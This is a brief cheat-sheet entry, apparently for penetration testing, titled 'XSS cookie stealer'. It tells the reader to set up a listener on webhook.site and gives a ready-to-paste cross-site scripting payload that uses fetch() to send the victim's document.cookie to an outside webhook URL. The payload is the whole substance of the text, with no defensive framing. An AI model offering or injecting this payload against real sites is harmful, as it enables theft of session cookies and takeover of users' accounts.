XSS

XSS cookie stealer

# Set up a listener at https://webhook.site and paste the XSS cookie stealer payload
<script>fetch('<WEBHOOK-URL>/steal?cookie='+document.cookie);</script>